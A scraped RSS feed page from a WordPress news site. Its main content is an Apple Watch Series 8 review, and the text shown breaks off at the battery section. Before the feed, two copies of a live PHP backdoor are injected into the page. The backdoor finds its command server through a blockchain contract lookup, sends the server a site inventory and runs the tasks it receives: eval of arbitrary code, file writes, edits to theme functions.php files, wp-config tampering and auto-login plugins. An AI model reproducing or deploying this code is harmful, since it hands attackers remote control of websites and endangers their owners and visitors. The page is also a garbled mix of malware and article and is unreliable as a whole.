// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); better – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 27 Sep 2022 11:47:17 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png better – Brief News https://briefnews.eu 32 32 Apple Watch Series 8 review: The best Apple Watch gets better https://briefnews.eu/apple-watch-series-8-review-the-best-apple-watch-gets-better/ https://briefnews.eu/apple-watch-series-8-review-the-best-apple-watch-gets-better/#respond Tue, 27 Sep 2022 11:47:17 +0000 https://briefnews.eu/apple-watch-series-8-review-the-best-apple-watch-gets-better/ In 2022, the Apple Watch is a known quantity — and one of the most recognizable products in Apple’s portfolio. That’s why when you look at the Apple Watch Series 8, you have a pretty good idea of what to expect. It’s bound to be easy to wear, have plenty of health features, and offer the best software you can find on any smartwatch.

After wearing the Apple Watch Series 8 for a while, I can confidently say that all of those things are true. Wearing the Series 8 has reminded me a lot of my Apple Watch Series 7 I’ve worn for the past year because, well, the Series 8 is practically identical to it. It’s very similar to the iPhone 14 in that way. Apple didn’t reinvent the wheel with the Apple Watch Series 8, and that’s because it’s already so far ahead of the curve that it doesn’t need to.

Call it “boring” or “bland” if you want, but that doesn’t stop the Apple Watch Series 8 from being the best smartwatch money can buy.

Apple Watch Series 8 design

The always-on mode on an Apple Watch Series 8.
Joe Maring/Digital Trends

What’s going on with the Apple Watch Series 8’s design? Well, it looks like an Apple Watch. Apple’s had a very clear and focused design approach ever since the original Apple Watch debuted in 2014, and while new models have improved things over the years, the general aesthetics haven’t changed very much. When you have a design foundation that’s this good, it’s understandable why that is.

Whether you get the Apple Watch Series 8 in the 41mm or 45mm trim (the version I have), both feel fantastic to wear all day long — and even throughout the night if you’re interested in sleep tracking. The watch sits comfortably on my wrist, the squircle shape is one I personally love to look at, and a WR50 rating provides waterproofing for up to 50 meters of submersion.

The Digital Crown on an Apple Watch Series 8.
Joe Maring/Digital Trends

Apple’s execution of the Apple Watch’s design is also as excellent as it’s ever been. When you scroll through menus or notifications, the Digital Crown feels wonderful to interact with. Pressing the side button below it offers great tactility to swap apps or open Apple Wallet. When you’re ready to put on a new watch band, Apple’s band system is among the easiest to use.

If you’ve never liked how the Apple Watch looks, the Apple Watch Series 8 doesn’t do anything to change that opinion. But if you do like how the Apple Watch looks and feels, the Series 8 is more of what you love.

Apple Watch Series 8 screen

An Apple Watch Series 8 with the screen turned on.
Joe Maring/Digital Trends

The standout feature of the Apple Watch Series 7 was its larger screen and slimmer bezels, enabling you to see more content on the tiny display than ever before. The Apple Watch Series 8 recycles that same design, and just like last year, it creates a truly impressive viewing experience. Watch faces have room to shine, notifications creep out to the very edges of the screen, and navigating apps/menus never feels restrictive — especially on the larger 45mm model.

And it’s not just the size of the screen that’s so impressive. Colors pop with vibrancy, text is easily readable, and the 1,000 nits of peak brightness ensure you can easily read the watch even in broad daylight.

The always-on mode on an Apple Watch Series 8.
Joe Maring/Digital Trends

When you’re not interacting with apps or notifications, the Apple Watch Series 8 has an always-on display to show a dimmed version of your watch face at all times. The Apple Watch has had an always-on display since the Series 5, so while it’s nothing new, it still remains one of my favorite Apple Watch features. Being able to subtly glance down and see the time, weather, and other info without needing to raise my wrist is enormously convenient — and one of the biggest missing features from the cheaper Apple Watch SE 2.

Apple Watch Series 8 health and activity

An Apple Watch Series 8 running the Activity app.
Joe Maring/Digital Trends

The market for health/fitness trackers in 2022 is crowded, to say the least. From Fitbit, Garmin, Oura, Amazon Halo, Whoop, Amazfit, and more, the myriad of options to track your daily activity often feels overwhelming. Despite all of that, Apple has done an incredible job of making the Apple Watch’s health and activity suite feel simultaneously approachable, intuitive, and comprehensive.

The crux of activity tracking on the Apple Watch Series 8 revolves around your activity rings — more specifically, your Move, Exercise, and Stand rings. Each one encourages you to burn calories, perform X amount of exercise minutes, and get up and stand throughout the day. It’s one of the most recognizable activity metrics around and has created something of a cultural phenomenon to “close your rings” every day.

WatchOS 9 software with its new workout screens.
New Workout views in WatchOS 9 Apple

If you’ve ever used an Apple Watch, you’ll know precisely why that is. Aiming to close your rings each day is fun, challenging, and a clear metric to work toward. It’s still not great at promoting recovery days, but third-party apps (like Gentler Streak) help to fill that void.

To measure your ring progress throughout the day, the Apple Watch Series 8 records a vast array of health metrics.  It tracks your steps, distance, resting and active energy, and 24/7 heart rate. There’s also an ECG app to get on-demand ECG readings, a SpO2 sensor for manual and automatic blood-oxygen level tracking, and sleep tracking to measure the quality of your slumber at night. You can use all of these features if you’d like, pick and choose the ones you want, or ignore all of them.

Apple Watch Series 8 showing sleep tracking results.
Joe Maring/Digital Trends

While health tracking on Apple Watch Series 8 is nearly identical to previous models, Apple’s WatchOS 9 software does add a few nifty additions. Some exercises now show heart rate zones in real-time, making it much easier to gauge the intensity of your workouts. Speaking of workouts, WatchOS 9 allows you to create custom workout routines that you can tweak with custom time, distance, calorie, and pacer goals. And when it comes time to rest up, WatchOS 9 adds sleep stages to show you how much time you’ve spent in REM, Core, and Deep sleep (critical data that was previously missing in WatchOS 8).

Apple Watch Series 8 temperature sensors

The back of an Apple Watch Series 8.
Joe Maring/Digital Trends

That said, there is one new hardware addition to the Apple Watch Series 8’s health toolkit — a pair of temperature sensors. Using one sensor on the back and another underneath the display, the Apple Watch Series 8 tracks your wrist temperature and displays those readings in the Health app on your iPhone. You need to enable sleep tracking and wear the Series 8 for about five nights before it establishes a baseline, but once that’s done, you’ll see a new Wrist Temperature section in the Health app.

Per Apple’s website, wrist temperature changes can be related to your “diet and exercise, alcohol consumption, sleep environment, or physiological factors such as menstrual cycles and illness.” It’s a neat metric to have, but I also don’t know what to do with it. I see my wrist temperature in the Health app, but there’s no guidance about what these numbers mean. My temperature was 1.05 degrees higher on September 19 but 0.59 degrees lower on September 26. There’s probably some meaning to that, but I have no idea what it is. I’ll give Apple credit for doing something out of the box with its temperature sensors (unlike the Galaxy Watch 5), but I’m much more interested in seeing what third-party apps do with this data.

Apple Watch Series 8 health features.
Apple

There is another aspect of the Series 8’s temperature sensors, but it’s not a feature I’ve been able to test. After wearing the Apple Watch Series 8 for five nights, users who take advantage of Apple’s Cycle Tracking app will see retrospective estimates for when they last ovulated — something potentially very helpful for family planning.

Apple Watch Series 8 car crash detection

Car crash detection on Apple Watch Series 8.
Apple

There’s another Apple Watch Series 8 feature I haven’t been able to test, and it’s one I’m hoping that I never will. Like the iPhone 14, the Apple Watch Series 8 offers car crash detection. If you’re ever in a severe accident, the Series 8 will ask if you’re OK with a prompt to call emergency services. If you don’t respond to that prompt within 10 seconds, the call is automatically placed for you.

The feature appears to work quite well on this year’s iPhones, so it’s safe to assume it’s just as good on the Series 8. While I’m crossing my fingers that I (and anyone else with a Series 8) never have to use car crash detection, it is reassuring to know that it’s there — just in case.

Apple Watch Series 8 WatchOS 9

An Apple Watch Series 8 with the display turned on.
Metropolitan watch face on Apple Watch Series 8 Joe Maring/Digital Trends

When you buy an Apple Watch Series 8, WatchOS 9 is the software powering it right out of the box. As mentioned above, WatchOS 9 improves the health/fitness experience with new workout metrics and better sleep tracking. But that’s not all.

In typical Apple fashion, WatchOS 9 brings a few new watch faces to keep your watch feeling fresh. Metropolitan is my personal favorite, which is an analog clock with customizable numerals and has plenty of room for complications. There’s a charming face called Playtime, which is a digital face that turns the numbers into playful characters.

If you’re an astronomy nut, the Lunar face has a full breakdown of the current lunar calendar. Apple also updated the Astronomy watch face to better utilize the Series 8’s large display, while the Modular, Modular Compact, and X-Large faces can now be customized with full-color backgrounds.

Apple Watch Series 8 running the new Compass app in WatchOS 9.
Joe Maring/Digital Trends

Along with checking out the new watch faces, I’ve also had a lot of fun playing with WatchOS 9’s new Compass app. By default, the Compass app shows the current direction and degree you’re facing, along with a permanent marker for north at the top of the screen. You can rotate the Digital Crown up to get a more detailed view of your elevation, incline, latitude, and longitude.

Where the Compass app gets really interesting is with its Backtrack feature. From the Compass app, tap the footprint icon at the bottom right corner and start walking. The app keeps a log of where you go and shows a visual outline of your path in real time. When you’re done, tap the pause icon and then Retrace Steps to follow the path back from which you came. To make things even more interesting, you can create custom waypoints along the way to help you remember where a lake, hill, or another point of interest is.

Apple Watch Series 8 running the Compass app.
Joe Maring/Digital Trends

I used the Compass app and the Backtrack feature while out walking around a local nature preserve, and it actually proved quite handy. I took a different path than I normally do, got a bit turned around, and was able to look at my starting point and easily walk back toward it. It’s not a tool I’ll use daily, but it was very convenient to have.

There’s plenty more with WatchOS 9 to sink your teeth into. The Medications app is a great way to track the medicine and vitamins you regularly take, users with atrial fibrillation can now track their AFib history, and the Calendar app finally lets you create events right on your wrist.

Apple Watches with different WatchOS 9 features.
Apple

WatchOS has always been far ahead of wearable software from the competition, and while WatchOS 9 isn’t an overhaul of that experience, it does make it better in some very key ways. All of these things work beautifully on the Apple Watch Series 8, and if you have an Apple Watch Series 4 or newer, you can experience them right now with a free software update — no new Series 8 required.

Apple Watch Series 8 battery and charging

Apple Watch Series 8 showing how much battery is remaining.
